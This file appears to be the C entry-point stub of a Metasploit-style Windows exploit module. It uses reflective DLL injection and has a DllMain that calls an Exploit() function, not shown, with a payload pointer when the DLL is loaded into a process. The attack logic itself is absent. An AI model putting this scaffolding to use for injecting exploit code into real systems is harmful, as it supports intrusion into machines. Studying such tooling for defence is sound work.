#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

#include "ReflectiveLoader.c"
#include "common.h"

#ifdef __cplusplus
extern "C" {
#endif

	int Exploit(PMSF_PAYLOAD lpReserved);

#ifdef __cplusplus
}
#endif

void main(PMSF_PAYLOAD lpReserved) {
	Exploit(lpReserved);
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE*)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		main(payload);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}
